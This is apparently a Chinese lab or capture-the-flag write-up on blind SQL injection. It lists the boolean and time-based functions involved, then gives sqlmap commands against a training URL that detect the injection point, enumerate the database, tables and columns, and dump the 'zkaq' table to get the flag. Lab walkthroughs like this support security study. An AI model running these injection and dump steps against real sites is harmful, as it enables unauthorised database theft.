当存在注入点,但服务器没有返回sql执行后的结果回显,就可以使用盲注,盲注分为布尔注入和时间注入。
布尔注入涉及的函数有:
(1) length() 返回字符串长度
(2) substr() 截取字符串
(3) ascii() 返回字符的ascii 码
时间注入涉及的函数有:
(1) sleep(n) 将程序挂起n秒
(2) if (expr1, expr2, expr3):判断语句,如果expr1为真则执行expr2,否则执行expr3
盲注其实就是通过多次的注入测试来得到结果,所以如果是手工测的话,是很耗时的,这种情况一般都会选择使用sqlmap这样的自动化注入工具。
---------------------- Rank 1 -----------------------------------------------------
(1)判断是否存在注入点:
sqlmap -u "http://120.203.13.75:8150/New/BlindBased/RankOne/sql-one/?id=1"
得到数据库的信息:
image.png(2)获取当前数据库名:
image.pngsqlmap -u "http://120.203.13.75:8150/New/BlindBased/RankOne/sql-one/?id=1" --current-db
(3)获取当前数据库下的表名:
image.pngsqlmap -u "http://120.203.13.75:8150/New/BlindBased/RankOne/sql-one/?id=1" --tables -D "security"
(4)获取zkaq表的字段名:
image.pngsqlmap -u "http://120.203.13.75:8150/New/BlindBased/RankOne/sql-one/?id=1" --columns -T "zkaq" -D "security"
(5)获取zkaq表中的内容,即可得到flag:
sqlmap -u "http://120.203.13.75:8150/New/BlindBased/RankOne/sql-one/?id=1" --dump -C "flag,zKaQ" -T "zkaq" -D "security"
-------------------------- Rank 2 ---------------------------------------------
步骤同上一题,这里就不说了。
网友评论